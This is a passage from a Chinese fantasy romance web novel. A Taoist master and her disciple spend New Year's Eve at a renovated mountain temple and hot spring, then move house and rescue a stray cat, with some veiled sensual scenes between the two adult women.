饭后穆若水把她叫过去,给了她一封红包,傅清微掏了掏口袋,也摸出一封红包。 两人面面相觑,异口同声道:“讨个彩头。” 随即交换了红包,面对面交换的样子像是在进行某种仪式。 两人都对春晚不感兴趣,晚上八点,傅清微从书桌前站起来,对正在面无表情用逗猫棒逗猫的女人说:“我给你准备了一个惊喜。” 因为紧张她的表情看起来有点严肃。 穆若水:“?” 五分钟后,两人穿好外套下楼。 傅清微拉着穆若水来到她们住的那栋楼后面,地面有一排公共车位,因为过年三三两两,显得空旷,月光下一辆后视镜系着红丝带的白车子就格外显眼。 傅清微打开手机app,按了一下开锁。 白车子的灯闪了两下,傅清微打开副驾驶的车门,请她坐进去。 她从外面关上车门,自己绕到驾驶座,上身前倾,给穆若水系好安全带。 因为第一次正式上路,她坐姿笔直,两手紧握方向盘,除了看路以外压根没有别的心思,连歌都忘记打开。 车载香氛的味道很淡,在这淡极了的气味以外,车里只有傅清微清新的气息,一寸一寸地侵占空气,温柔地拥住她。 穆若水第一次坐在车里没戴口罩。 白车开出小区,汇入除夕夜稀疏的车流,车内安静,远处闪烁的车灯延伸宛如地上银河。 穆若水握着胸前安全带的手紧了紧,问道:“所以你学车就是为了……” 傅清微一心二用的本事在这时候完全宕机,她不得不放慢了车速,好分出一丝注意力,去听女人讲话:“你刚说什么?” “没什么,我们要去哪儿?” “你想去哪儿?”傅清微直视前方笑道。她还没想好,只是想带她出来转一圈。 穆若水拿出手机,导航了一个地址。 “去这里吧。” “我现在不方便看手机,你把手机声音调大一点,放在无线充上,就是你左前方那个长方形的置物台。” “好。” 傅清微开着车,时间流逝得不知不觉,白车出了环线,一路往城外的方向驶去。 开到一个小时,傅清微从周围环境的变化猜到了目的地。 “我们是要去山上吗?” “对。”穆若水忍不住说,“你脖子不僵吗?” 就这么直挺挺地开车,梗了一路了。 傅清微不仅脖子酸,腰和背都疼,但是她新手司机完全不敢放松,尤其穆若水还坐在她的车上,夜路又不好开,她生怕出一点事故。 傅清微强忍说:“没事。” 穆若水:“待会我给你按一按。” 漂亮的小脸都皱起来了,还说没事。 车停在山脚的树林前,开不上去,傅清微打开手电筒,望了望山路,打算爬上去,晚上比白天光线差,至少得走两三个小时。 傅清微抬脚迈出了第一步,她的腰肢就被一条柔软的手臂环住。 身体腾空,穆若水带她飞了上去。 她飞得不是特别快,在车上没讲完的话终于有空讲:“你学车是为了我吗?” 傅清微不习惯太直接,东拉西扯了半天大家都学,才在一片静谧中小声承认:“是。” 她低声说:“你不是讨厌别人的气味吗?我就想考完驾照以后自己买一辆车,你想去哪里我就载你去哪里,就……只有我们两个人。” 傅清微声音添上了一丝哽咽:“之前我们吵架的时候,我以为你要走了,但是我才刚拿到钱报名考试。我说我们以后可以自己开车,你说让我一个人开。” 穆若水记得这些话,当时却并没有想过她的委屈。 傅清微迅速吸了吸鼻子,又展颜道:“幸好你最后没有走,我现在很幸福。” 她自己又飞快地把自己哄好了,毫无观主的用武之地。 穆若水只好紧了紧她的腰。 傅清微低头看了看地面,偶尔会擦过灌木,大概离地也就一尺多的高度,但是穆若水中途一歇不歇,连轻功里描写的借力都没有。 傅清微确定,她就是会飞。 两人停止对话后,穆若水加快了速度,傅清微把脸埋进她的颈窝里,风还是往脖子里钻。 出来的时候没想到会来山上,车里有空调,她连条围巾都没有戴。 穆若水暂时停下来,解开了大衣扣子,把傅清微整个人包进去,让她抱住自己的腰,才带着她继续往上飞。 道袍的衣料薄得可以忽略不计,傅清微的手掌贴着穆若水纤细的后腰,源源不断的热意从她手上传过去,侵入肌肤,温热亲密的呼吸自下往上吐在她颈间,穆若水喉咙不明显地滚动。 “到了。” 蓬莱观后门。 穆若水携傅清微站在门口,离傅清微上一次离开已经过了两个月,她从穆若水的怀里出来,正要推门而入。 穆若水说:“等一下。” 傅清微停在外面,看着她从院墙飞了进去,接着有光从里面亮了起来。 打开木门以后,光线越发的清晰。 荒野山间,突然这么明亮的光让傅清微抬手遮了遮眼睛。 她迈过门槛,琥珀色眼眸倒映出一副令人难以置信的景象。 泉水潺潺仿佛响在耳边,从山里延伸下来的竹管绕院子四周,在尾端同样的竹子做成了水龙头的形状。 院子里亮的灯,不是其他,是已经在山下普及了几十年的电灯。 她走进自己睡过的那间房,亮如白昼,电灯做成了木雕的仿古样式,完美地融合进了道观的风格。 原来穆若水上次在阁皂山四处观察她们的木屋,不是像考察,是确实在认真考察。 然后她依照阁皂山的经验,把蓬莱观的道观改造成了现代人适应的样子。 傅清微环视屋内一周,卫生间、淋浴室、马桶、电插座,应有尽有。 怪不得她迟迟不肯带自己回山。 原来…… 傅清微眼眶发热,到处寻找进门后就没看到的穆若水的身影。 “师尊。” “道长。” 傅清微来到院子里,四下环顾,眼底晶莹闪烁,穆若水从对面一间黑着的屋子走出来,手里提了一盏自己做的兔子灯。 她确实很善手工,兔子惟妙惟肖,朱砂点的红点甚是可爱。 “隐约记得一些家乡习俗。” “本来打算明天带你过来的,今日凑巧,那便提前了吧。” 傅清微的心好像被轻轻地撞了一下,眼见着女人走入院落,来到自己的面前,伸手把灯递过来。 “新春快乐。” 傅清微的手和她递灯的手在交接时短暂地碰到了一起。 瞧着她将灯拿在手里,穆若水勾起唇,少有的柔声道:“流年吉利,无病无灾。” 傅清微的眼泪流了满脸。 她用手去擦,却怎么也擦不干净,越来越多。 她只想着:这辈子就算是死,也一定要死在她的身边。 …… 她流的泪实在太多,穆若水眼睁睁瞧着,颇有暴殄天物之感。 傅清微:“你不是可以喝吗?怎么也不帮个忙?” 不帮忙擦泪就算了,一动不动算怎么回事? 穆若水犹豫了一下,终究没按捺住,吻上了她的眼睛,一点一滴地接入口中。 自从收徒以后,她还是第一次这样做。 果然轻而易举地上头了。 傅清微感觉她吻着吻着,手掌扶住了自己的腰,将她慢慢往她的方向带,唇已经来到了根本不可能挂泪的耳朵。 傅清微闭上眼睛,轻轻地呼吸,掐住了自己的掌心。 穆若水清醒过来,瞧着她被舔得湿漉漉的耳廓,淡淡牙印的耳垂:“……” 兔子灯被悬挂在院门口,随风轻轻地招摇。 穆若水和傅清微并肩坐在门槛上,山里的星星比阁皂山的更清晰。 傅清微问:“你什么时候开始准备的?” 穆若水:“你是问动工还是计划?” 傅清微:“计划。” 穆若水:“赢了灵枢子之后吧,你不是教了我拍照?我把他们那个院子和屋子都拍了一遍。” 傅清微拜师以后,穆若水就把这些照片发给了岁已寒,说了她的需求。 岁已寒表示可以,先派专业的师傅上门测量,出个效果图。 穆若水最近天天看手机就是在看她们出的图,出完图以后实际改造,也要盯细节。虽然没人敢敷衍慈让真人,但总归是给傅清微住的,细枝末节她都关心。 岁已寒的微信都是占英代回的,她哪有精力管装修。幸好徒儿孝顺能干。 这么短的时间,水电改造不说,还要融入道观,不能现代化得太突兀,除了权力,只有钞能力。 傅清微问:“你哪来的钱?” 穆若水不出意料道:“我没给钱呀。” 观主虽然有十万块的小金库以及每月到账的顾问津贴,但她都攒起来了,一分一毫也没出。 傅清微咬唇笑:“我就知道。” 没有人可以从铁公鸡观主手里拿到一分钱。 傅清微兴起伸手:“卡给我。” 穆若水把袖子里的卡掏给她,毫不犹豫。 傅清微推回去:“我不要,你自己收起来吧。” 穆若水眯眼:“……你耍我?” 傅清微:“徒儿不敢。” 鉴于穆若水刚刚没有做到爱护徒儿,六根不净重蹈覆辙,这会儿她也大度地原谅了傅清微以下犯上,算扯平了。 肩膀微微一沉,傅清微将脑袋枕在她的右肩,在山野的虫鸣声中,两人并肩坐着看星星,谁也没有再开口。 穆若水的手悄悄放在自己的心口位置。 习惯了空寂的地方传不来半点回应,穆若水望着夜空久久,才缓慢地眨动了一下眼睫。 难言的惆怅滋生在空洞的胸腔。 “我们明天就搬过来吗?”傅清微忽然问,没有注意到她的动作。 “你想的话。” “那就明天吧,可以早点在山上练功。” “好,随你。” 就算不考灵管局,穆若水也收了她为徒,她们可以就这样在山上或凡间过一辈子。但穆若水不会再去问她怎么选择,动摇她的决心,万事万物都有缘法,有她想修道济世的因,才有她们结为师徒的果。因果相生,她们始终相伴就好。 山风吹过来,傅清微瑟缩了一下,起身在原地抖了两下,说:“好冷,我们回去吧。” 既然她说冷,穆若水福至心灵,提议道:“要不要去泡温泉?” 傅清微没带衣服,不方便泡温泉。 但穆若水之前半夜特意等自己睡着了,也要偷偷去泡的温泉,她倒要看看是何方神圣。 傅清微:“好啊。” 穆若水熟练地揽过她的腰,带她飞过去。 傅清微蓦的想到她原来那双长靴都不怎么脏,原来是脚不沾地。 温泉在后山,离道观不远,傅清微彼时要是多探索一下,说不定就发现了,但那时疲于奔命,实在无法。 傅清微看着面前足足有十几个私汤那么大的温泉,富含硫酸铁,呈现天然的淡绿色,从高处望过去,近似月牙的形状,更加彰显自然的鬼斧神工。 石头一层垒着一层,将温泉池的边缘垒出尺余,只余一个入口。 池边还有专门坐着的休息处,一看就是没少来。 傅清微上次见私汤已大开眼界,现在看来小巫见大巫,怪不得师尊如此热衷泡温泉。 今夜无月,天上银河如练,星罗棋布,温泉恰似淡绿琥珀,宛如又一轮明月。 傅清微问:“师尊可以用术法烘干我的衣服吗?” 穆若水点头应允:“有何不可?” 傅清微放了心,这么稀有的温泉,谁能忍得住?先泡了再说。 穆若水的大衣穿在怕冷的傅清微身上,她身上只有一件大红深衣,脱起来比傅清微快多了。 傅清微刚褪到第二件外套,女人只余雪色中衣。 傅清微暂时停了手,想看着她进去以后再继续。 穆若水感受着身后注视的目光,抬起修长指尖,一点一点地抽开了胸口的中衣系带,雪白圆润的半个肩头露了出来。 再是蝴蝶骨,自肩到腰收窄的曲线,若隐若现的腰窝。 一片光滑的美背,毫无保留地展露在傅清微的眼前。 第68章 雪肩半露。 微隆的蝴蝶骨。 到腰收窄的曲线, 两只手掌就能合握住。 弧度再起来一些,两侧若隐若现,仿佛可以积水的腰窝, 隐没在腰间系带深处。 傅清微无意识地张了张嘴, 目光不受控制随着她缓慢的动作下移, 一寸寸抚摸女人的背脊线。 呼吸渐渐地重了,口唇发干。 穆若水是修行之人, 纤弱谈不上, 锻体亦不似现代人夸张,背部匀称柔美, 滑腻如羊脂玉, 夜色里如一幅刚刚揭开的美人图,珠玉生辉,周围都被她半裸的身体照亮了。 因为只露了后背, 情而不色, 乐而不淫,欲语还休。 雪白中衣褪在脚边,明明没有任何声音, 傅清微心里咚的一声,重鼓似的敲击着她。 强烈的鼓声肃清了她越来越过分的绮念。 她蓦地抱着脱到第二件的外套转过了身,紧紧地闭上了眼睛,睫毛剧烈地颤动。 身后传来入水的声音。 傅清微第一次发现自己的听觉这么敏锐, 居然能够根据细微的声音判断出她是怎么入水的,一只脚踏入池中, 淡绿色的池水分散后簇拥她的脚踝, 玉白足尖拨弄了一下水波。 接着踏入第二只脚,左右交替, 莲步轻移,慢慢地深入水中,没过小腿,没过紧实白皙的大腿,腰线和水面持平的那一刻,她上身不着寸缕,乌瀑散落身后,宛如纯洁精灵,或是蛊惑的女妖。 咕咚—— 傅清微喉咙重重地吞咽了一下,不知道是因为紧张,还是别的。 身后传来掬水的声音,轻轻地浇在肩膀或手臂。 傅清微依然背对着她。 穆若水问她:“怎么不转过来?” 傅清微连眼睛都没睁,长睫紧闭:“徒、徒儿不敢。” 穆若水:“……” 还是现代人呢,古人都没她封建。 穆若水又舀了一捧水,淋在自己仰起的颈项,故作漫不经心道:“你我皆是女子,你怕什么?我又不会吃了你。” 傅清微心说:你吃得还少么? 但穆若水的话确实点醒了她,她之前不正是盼着观主能吃了她吗?眼下不正中下怀? 退一万步说,就算她们是单纯的师徒关系,或者毫无关系,两个女的泡温泉,不至于另一个看都不敢看,这不是心里有鬼吗? 心里揣了七八只小兔子活蹦乱跳的傅清微轻呼吸,做足了三秒钟的心理准备,转过了身。 入目一片雪白,她分不清是池水的白雾还是女人姣好的身躯,心跳大乱,几乎扼住她的呼吸,慌忙把目光转向天空。 再次缓了几秒钟。 她的视线从天上慢慢往下落,到穆若水的发顶停顿,小心谨慎、慢慢地往下移,定格在观主玉雕的面容,绝不往下挪一寸。 她高估自己了,以为自己不干净了,其实还是个没见过世面的纯情女大。 上次在温泉别庄的献身计划还好没成功,否则不知道要丢多大的脸。 她见不得不穿衣服的女人,观主也不例外。 别的女人不穿衣服会让她害怕,穆若水不穿衣服会让她紧张得四肢僵硬,脖子梗得比电线杆子还直。 只有观主脱她衣服的份,没有她看观主身体的福分。 穆若水心里叹了一口气,已猜到答案,仍明知故问:“你不洗吗?” 傅清微的视线悄悄又挪高两寸,尽量保持语调平静地说:“徒儿想了想,脱衣服怪冷的,今天先不洗了,师尊。” 穆若水声音惆怅了些:“那你就在旁边看着为师洗吧。” 傅清微应是。 穆若水自水面伸出一条柔软如藤蔓的手臂,刚好高过头顶,落在傅清微的眼底,她眼皮子一跳,再次往上挪,四十五度仰望天空。 穆若水洗了一会儿,再去瞧她,傅清微已背对着她坐在石头上,屏幕的光映在脸上,正在玩手机。 穆若水:“……”媚眼抛给瞎子看。 她气不过,抬手一挥,隔空取水,化作飞箭朝傅清微射去,在要碰到她时流星般的速度慢下百倍,最终不忍地只啄了啄她的面颊。 傅清微脸颊一热,自出神中醒过来。 她抬手摸了摸略带湿意的脸,因为光线暗也看不到脚边一摊自由落体将泥土浸成深色的水,茫然望了望四周。 温泉池里的人影也不见了。 “师尊!”傅清微站起来,急道。 “瞎叫什么?”穆若水的声音出现在密林里,说,“还不快跟上。” 傅清微打着手电筒找过去,果然见穆若水一身红衣,长发束起,周身穿戴整齐,只腰带有些凌乱,似是匆匆忙忙。 傅清微还问呢:“你洗好了怎么不叫我?一个人就出来了。” 穆若水面色冰冷:“走。” 傅清微:“好的。” 傅清微低头提醒:“师尊,你腰带没束好。” 穆若水压着眉眼,戾气横生:“再多说一个字我就弄死你。” 傅清微:“……” 也不是第一次扬言要弄死她了,她现在还活得好好的。 傅清微想了想,上前亲手给她解了腰带重新束过,纤秾合度,肩若削成。 她半环住女人的身子,鼻翼的幽香若有若无。 ——师尊还是穿着衣服的好。 穆若水过河拆桥,等她给自己束好腰带,抬手挥开她,一马当先地往前走,傅清微亮着手机闪光灯,深一步浅一步地跟上去。 “师尊,师尊?” “闭嘴!” 穆若水走得飞快,不想理她。 两人回到了道观,兔子灯还挂在原处,摇摇晃晃。 穆若水现在一见和傅清微有关的就火大,傅清微跟了她一路,也知道自己不知为何又惹恼了她,连忙上前一步将兔子灯收进房间,屋里的灯也关了,房门带上,省得迁怒她的礼物。 “我们下山吗?”傅清微来到院子门口,小心翼翼地看着门槛外面的女人。 “不然你住在这里。”女人说反话。 傅清微走过来,牵住她的袖子,食指和中指一步一步,在衣袖交替跋涉,握了握穆若水冰冷的手,就此没有松开。 不仅如此,她还无师自通地用拇指抚了抚女人光滑的手背。 山风吹动了夜间的雾气,也吹散了女人心中的阴霾。 如今想来她生气本就莫名。 不就是傅清微没有看她洗澡吗?这也值得大动干戈? 而且,她为什么想让徒儿看她沐浴? 无缘无故的,观主想不通,干脆不想了。 她如来时一样,将傅清微裹进自己大衣里,去时赶路,无暇他顾,也为着彻底出了郁气,二人飞掠下山,冷风如刀,刮得傅清微全程没敢把脸抬起来。 她坐进山脚的车里,第一时间开了暖气,功率开到最大,先把手脚暖和起来。 穆若水一边等她一边打开了车里的歌单,1930年代,用现代设备播放出来的录音带版,音质略有失真,但充满了时代韵味,歌词也算清晰,复古的慢歌充斥着车厢。 这也是傅清微准备的惊喜之一,可惜网上能找到的音源不多,只有十几首。 音乐是最适合舒缓情绪的媒介。 看到穆若水放松地靠在副驾驶座位,一只手冷白指节在腿上慵懒地打着节拍,傅清微就知道值了,歌单值,买车更值。 “师尊,你想要留声机吗?”只要她点个头,傅清微想尽法子也会给她淘一个,她总觉得自己做得还不够,恨不得把最好的都捧到她面前。 “不想。我又不会用。” “那唱片机?把黑胶唱片放上去,就会出声儿的。” “手机不能直接放吗?多此一举。” “也是,那我给你买个蓝牙音箱吧。”傅清微神采飞扬道。 她非要给她买点什么,穆若水也懒得阻止她,反正钱花完了还有岁主任。 傅清微梗着脖子又开了两个小时的车回到家。 身娇体软的女大彻底不行了,直得跟小白杨似的。穆若水让她趴在沙发床上,从头到脚给她按了一遍。 起初她坐在床沿,右边按得到,左边身体不顺手,傅清微把脸侧过来,提议道:“要不你坐我腰上?施力均匀点。” 穆若水脱了鞋,踩在了床上,双膝跪在她身体两侧,缓缓坐在了她腰臀交界的地方。 隔着衣服接触到,傅清微不可避免地一僵,她将脸蒙进枕头里,两只手分别抓住枕头两端,尽量让自己的声音都被枕头吸收。 “嗯……唔嗯……” 随着穆若水推拿到最关键的劳损处,她舒服的声音再也压抑不住,哼哼唧唧地叫了起来。 穆若水:“……” 这么爱叫,就应该再按她一次尾闾穴。 经络通了以后,再按没有痛感,只有爽感,傅清微正沉浸在按摩的舒爽里,穆若水单膝支了起来,一手按住她的左肩,另一手握住她右边肩膀,带着她在自己身下轻轻翻了个身,正面朝上。 身体下沉,重新坐在她的腰腹,毫无间隙地贴合,往前抵了抵。 这个姿势太糟糕了。 和她相贴的地方隐约带着热意,傅清微的腹肌线条在衬衣底下完全绷紧,大气不敢出一口。 穆若水试着揉了揉,推拿不开。 “太紧了,放松一点。” 傅清微头晕脑胀,一时分不清她说的是哪里太紧了,她又该放松上面还是下面。 幽昙在月光的照耀下翕动,一下一下地自主呼吸,花苞含露。 穆若水说:“肩膀放松。” 傅清微一个指令一个动作,把自己当提线木偶。 “胳膊。” “腰。” “腿需要按吗?” “不用了。”傅清微面泛红潮,有气无力地回绝。 穆若水收回一条腿,自她腰腹上起来,把浑身软得不像话的傅清微留在沙发床上,交代说:“好好休息。” “嗯。”颤颤巍巍地又吐出一小股露水。 躲起来的小三花等到穆若水走后,才轻盈地一个跳跃,来到了傅清微的胸口,对着她的脸闻了闻。 傅清微连抬手的力气都没有,说:“妈妈要被你姥姥玩死了。” 她是一走了之了,傅清微身体里的浪潮还在风起云涌。 十分钟后,傅清微去卫生间洗澡,顺便清理自己。 山里一来一回已经是凌晨两三点了,傅清微这才有时间打开手机回复新年祝福。 群发的不回,她点开甘棠的对话框,打字:【新年快乐,我的好朋友甘棠】 甘棠:【1111111】 傅清微刚被玩弄了一通,没什么困意,回:【你怎么还不睡?】 甘棠:【等你的战报,现在等到了】 傅清微:【……】 今晚还真不是乏善可陈。 傅清微:【我发现了一件事,女主A是天选之0】 甘棠就爱听这个:【展开说说,怎么发现的】 傅清微展开道:【女主B邀请女主A一起泡温泉,她先脱了衣服,女主A竟然不敢看她,反过来女主A要是被女主B脱了衣服共浴,她就很情愿】 甘棠:【首先,我要感慨女主A吃得太好了。其次,女主A是不是害羞啊?我坚信女主A至少0.5】 傅清微:【是害羞吗?】 甘棠:【毕竟女主A只是个刚和暧昧对象认识几个月的女大,直接来到鸳鸯浴尺度有点大了】 傅清微:【可是女主A不敢看女主B的身体】 甘棠:【那肯定是看到了一点吧,才会发现自己不敢,看到的瞬间什么感觉?】 傅清微:【好美,想摸】其实还想过亲来着,太大胆了被她当场从脑海里直接删除。 甘棠:【这不是挺0.8的吗?】 傅清微:【不该是1吗?】 甘棠:【鉴于女主A的表现,近期我把她的目标定在0.2】 傅清微:【要不你还是定在0.1吧,我要睡了】 甘棠:【女配C对女主A很失望】 傅清微:【晚安^_^】 甘棠:【晚安】 看到那个0.2,傅清微都格外的心虚,这辈子她恐怕都没办法在观主面前1起来,除非她命令自己伺候她。 痴人说梦,越想越远了,明天还得早起搬家呢。 傅清微双手搭在自己的小腹,闭眼准备入睡,她的手慢慢地来到上方一点的位置,穆若水给她按摩的时候跨坐在她的腰上,道服的裤子布料薄,当时抵在她腰腹蹭动的应该就是她的…… 傅清微睫毛动了动,脑海里闪过小电影里磨的画面,脑补得自己面红耳赤。 她猛地拉起被子蒙住了自己的脸。 睡觉! * 初一的城市静悄悄,燃放烟花爆竹的声音从城郊遥远地传过来,隔了一层又一层,已无法扰人清梦。 嗡—— 傅清微从被子里伸出手,手机的闹钟被一只冷白修长的手提前关掉,傅清微翻了个身,右脚迈过左腿,横跨半张床,手臂张开,自从客厅换了沙发床,彻底解放了睡姿。 穆若水站在床沿看了她一会儿,把她露在外面的小臂掖进被子里,压了压被角。 小三花在床尾抬起睡成三角形的脸,又埋了下去呼呼大睡,和她的主人一个模子里刻出来。 穆若水就坐在单人沙发里,一会看人一会看猫,日光在她的脚下一寸寸偏移,照到了傅清微的脸上。 女人好整以暇地勾了勾唇。 阳光呈条状映在她的眼皮上,一动不动。 傅清微不堪其扰,把自己缩进了被子里,只露出一个乌黑的脑袋。 小三花沐浴着温暖的冬阳,已经惬意地舔起了毛。 主人比猫还懒。 傅清微严格自律,很少赖床,冬天温暖的被窝也不能摧毁她的意志,穆若水不由地起身,探进被窝里,担心地去摸傅清微的额头。 昨晚在山里吹了那么久的风,极有可能感染风寒。 傅清微被她冰凉的手掌一冻,不想醒来也一个激灵睁开了眼睛,美梦荡然无存。 穆若水收回手,问她:“既然没有生病,为何赖床?” 傅清微盯着她的脸,仍有些没回过神,说:“做了一个梦,舍不得醒。” 穆若水问:“什么梦?” 借着朦胧不清的睡意,傅清微大胆地双手环住了她的脖颈,将她从床沿带了下来,和她一起倒进软和的床里。 傅清微侧着脸,和她四目相对。 “你。” 穆若水顿了顿,问:“我什么?” 傅清微伸手找到她垂在身侧的一只手,环在自己后腰,小臂紧紧贴着她的身体。 “梦见师尊这样抱着我。” 傅清微又贴近了一些,一层睡衣什么也没隔着的,面对面和女人抵在一起,软热,绵柔。 傅清微抬起眼帘,距离太近看不清对方深邃的眼神,只能落在近在咫尺的红唇,饱满湿润。 梦里也是这样。 温热的气息呼在她的唇上。 女人缓慢开口:“然后呢?” 然后她们就接吻了,唇舌交缠,你勾着我,我推着你,来回汲取彼此口中的甘甜,吻到唇瓣红肿也不罢休。 傅清微强装镇定道:“然后我就醒了。” 穆若水恍然:“原来如此。” 她拍了拍傅清微的后腰,收手时若有若无地拂过下方起伏的高处,暖热的呼吸自她的唇前远离,说:“起床吧,收拾行李。” “是,师尊。” 傅清微从加快的心跳声中缓了缓,起床动作利落地整理床铺。 吃完穆若水煮的面条后,傅清微回房收拾行李,衣服之类的都好说,麻烦的是在山上吃什么,昨晚忘记进厨房看看了。 “师尊,山上有冰箱吗?” “有。” 穆若水正在逗猫,傅清微的声音从房间里传出来:“我们待会得去趟超市,至少准备一周的伙食。” 幸好买了车,否则不知道这个家怎么搬过去。 “随你。” 傅清微听见客厅逗猫棒上的小铃铛声,轻轻地笑了笑。 等傅清微从卧室出来,穆若水把逗猫棒收到高处,说:“现在去超市?” “对。”傅清微点了点头。 两人穿好外套下楼,来到停车位,傅清微谨遵司机守则,在北风里严谨地绕车一周,她在网上多次刷到过新闻,冬天有许多流浪猫为了御寒躲进汽车发动机、车胎各种能挡风的地方,司机没注意,开起来后小猫不慎丧命。 傅清微来到车头,一只狸花飞快地从车胎底下蹿走,动作之利落,速度之快,一眼就让傅清微认出来,是小区女王——之前保护小三花那只棕色的小狸花。 小狸花跑出十几米远,回头警惕地瞧瞧二人,寒风里皮毛瑟缩,几步又钻进了另一辆汽车底下,不见了踪影。 离开春还有一两个月。 过两天又要下雪。 它未必熬得到春天。 就算过了这一个冬天,还有难熬的下一个。 傅清微上次带她去医院绝育的时候,医生说它的年龄不到两岁,说不定比三花还小,因为在野外待久了,看不出小猫的样子了。 穆若水凑近她出神的背影,在她耳边道:“你想把它带走?” 傅清微偏头看她,喜形于色:“真的可以吗?” 穆若水本来想拿乔一下,让她哄得自己开心,她就帮她抓猫,现在傅清微因为她一句话这么高兴,不用哄穆若水已眉梢微弯,点点星光亮起在漆黑如夜的眸子里。 穆若水不由自主地笑道:“当然可以。” 傅清微踮起脚尖,在女人冰凉脸颊轻轻地亲了一口,像吻在梅花上的雪。 穆若水摸了摸脸颊:“这是奖励吗?” 傅清微:“是。” 上次她在阁皂山亲了一下她的脸,穆若水一直没有反应,傅清微以为自己又出现了幻觉。 结果到了晚上,她们俩在院子里闲聊,穆若水忽然问她,白天那个是不是奖励,因为她打赢了灵枢子。 傅清微:“……” 后来她每赢一位长老,傅清微就会奖励她一次。赢无可赢,奖励也就停止了。 穆若水回味片刻:“虽然此举颇为大逆不道,但我准你这么奖励我。” 观主在恪守师徒底线和忠于自我中,终于选择了后者。 傅清微:“日后我想每天都奖励师尊,以报答师尊的教诲,可以吗?” 穆若水没说行,也没说不行,模棱两可地丢下一句:“日后再说。” 她率先拉开副驾驶车门坐了进去,动作比平时都要快,似乎在逃避什么似的。 傅清微垂眸笑了笑。 她坐进驾驶座,在响起的复古音乐里,驱车前往商超采购。 回来的途中她拐到宠物店,又买了一个航空箱,回来和穆若水一起找猫。 小狸花不在原地了,短时间想在小区里找到它大海捞针,傅清微正想着要不上楼把小三花抱下来引诱它。 穆若水自有她的办法,她念了一段咒语,出现五只小鬼,只到傅清微的小腿肚子那么高,模样古怪,并不会说人话,穆若水下了命令,它们便四散开来。 穆若水说:“走吧,先上楼,有消息它们会禀报我。” 傅清微和她一起往家的方向走,忍不住回头看了一眼,说:“它们是你养的吗?” 穆若水:“订了契约而已,为我做事,或者死,它们很识时务。” 傅清微垂下眼不说话。 道士捉鬼驱邪,她听说养鬼有伤天和,既然是师尊养的,那……养就养了吧。 傅清微转而担心她道:“不会有什么反噬吧?” 穆若水笑了一声。 “不会。” “那就好。” “要不要我给你也抓两只?” “不了不了,我怕他们上我身。” 身旁气温骤然降低十度,傅清微改口道:“只让师尊上。” 穆若水看着她按了电梯,对上她坦然的眼神,打消了怀疑的念头。 傅清微站在电梯里,按下关门键,在穆若水目不转睛看着上升的数字时,又仿佛迟了半拍似的,低声将在外面的话表白完整。 “我只让你一个人上。” 她语调慢吞吞的,却吐字清晰地送入穆若水的耳朵。 第69章 傅清微装了两个大行李箱, 一年四季的衣服,穆若水自己本人并不知晓的压箱底的丝绸睡裙也带上了。 小三花进了铺了小毯子的航空箱,圆脑袋在栅栏上来回蹭挠痒痒, 自娱自乐, 自己一只猫也呼噜得不亦乐乎。 先前散去的五只小鬼回来了一只, 红发小鬼对着沙发上的女人叽里咕噜地比划了一番。 穆若水起身说:“找到了,我们走吧。” 傅清微推着行李箱, 两只手都满了, 穆若水勉为其难负责拎猫,傅清微在电梯厅不舍地回了一下头, 看了眼紧闭的大门, 二人一起进了电梯。 放好猫和行李以后,二人跟着红发小鬼来到了小区的草丛,楼栋背面靠墙根有一些废弃的管道, 可以挡风, 里面偶尔还会有积水,能够满足饮水需求。 小狸花躲在里面不出来,傅清微束手无策, 求助的目光看向穆若水。 穆若水享受了一会儿她的注目,才让傅清微打开航空箱,她对着管道伸出五指,小狸花的爪子拼命扒拉着管道, 不受控制被她一点一点地挪了出来。 她动手一般不是要杀人就是要杀鬼妖精怪,根本没有挽救一条生命的时候。 小猫又格外的脆弱, 穆若水为了控制力度不把它意外弄死, 全神贯注,白净额头差点出了一层汗。 “谢谢师尊。” 傅清微关上航空箱的门, 小狸花在里面又挠又撞,撞了两下知道撞不开,聪明地只对着傅清微疯狂哈气,毛发全部炸起来,喉咙里发出危险的声音,攻击性毕露,表示自己绝不好惹。 敢抓我你就死定了! 傅清微把她和小三花一起放在了车后座,门对门。 小狸花:“?” 小狸花:“喵喵喵?” 小狸花瞪着眼:“喵喵喵喵喵?” 被人类精心照顾了一个月的小三花慵懒地舔了舔手爪毛,“喵~”了一声。 两只都安静了。 穆若水扣好了安全带,点开音乐随机选了新歌单。 傅清微最后一个上车,坐好了以后没有急着系安全带,而是一只手扶在中央扶手上,上身前倾,向端坐的女人靠近。 穆若水闻着她身上清幽的气息,似乎预感到什么似的,眼睁睁瞧着她靠近自己。 脸颊被花瓣轻吻过,一触即离。 “徒儿奖励师尊。”年轻女人稍稍离开一些,却没有直接坐回去,看着她幽黑的眼睛说道。 倒反天罡!以下犯上! 穆若水面无表情地看着她,脑海里闪过的词被一只手强势按入水面,没有再浮起来。 “开车吧。” “好。” 傅清微背靠座椅,熟练地插好了安全带,驱车前往小区出口。 上了两次路的新手司机已经没有那么生疏,她学车快,从新手变成老司机,也就是多锻炼几次。 车里播放着陌生的流行歌曲,傅清微不自觉地跟着轻声哼唱。 穆若水的手搭在车窗下方,脸看向窗外,回想着刚刚傅清微向她靠近的画面,目光茫然。 为什么在那一瞬间,她会很想要闭上眼睛呢? 傅清微开了车机导航,掌控方向盘,目视前方,载着二人二猫,她所拥有的一切,向着新家的方向坚定地驶去。 * 一个半小时后,傅清微在山脚下傻眼了。 众所周知,山路车开不上去,那么同样的,行李箱和猫都需要人工搬运上去。 三个月前傅清微来山上蹭住的时候,灵管局的人帮她拿了一次行李,后来她把所有东西都装到包里,誓死不提着行李箱爬山。 今天她风风火火收拾出两个二十六寸的大箱子,和两只包括航空箱在内快三十斤的猫。 平地上还好,都是山路,除非有神仙飞上去。 傅清微期期艾艾,将视线投向旁边。 “师尊……” “自己想办法。”穆若水无情地打断她。 她绝不容许自己沦为搬运行李的工具人,她堂堂真人,一派之尊,颜面何存? …… 一个小时后。 刚拎完两个行李箱上去的穆观主臭着脸返程,出现在傅清微的视线里。 傅清微在山脚下陪猫,怕她两只猫没人在会出意外。看穆若水从上面下来,她接着把后备箱打开,里面都是采购的肉菜,大兜小兜塞满了半个后备箱。 穆若水额角青筋暴跳。 ——这是哪门子的尊师重道? 她今天就要清理门户! 穆若水左右手挂满了塑料大兜,傅清微提了两个航空箱,两人一道上山。 爬山和负重爬山完全不是一回事,尤其是两只猫在航空箱里不老实,受力不均,给傅清微造成了很多阻碍。平时脸不红气不喘,这会刚走了三分之一,已经呼吸粗重,两只手的手指被航空箱的提手勒得通红。 傅清微停在一棵树下:“师尊先上去吧,我休息一下。” 穆若水头也不回地飞上去了。 傅清微缓了五分钟,走到三分之二处,又见到了穆若水的身影。 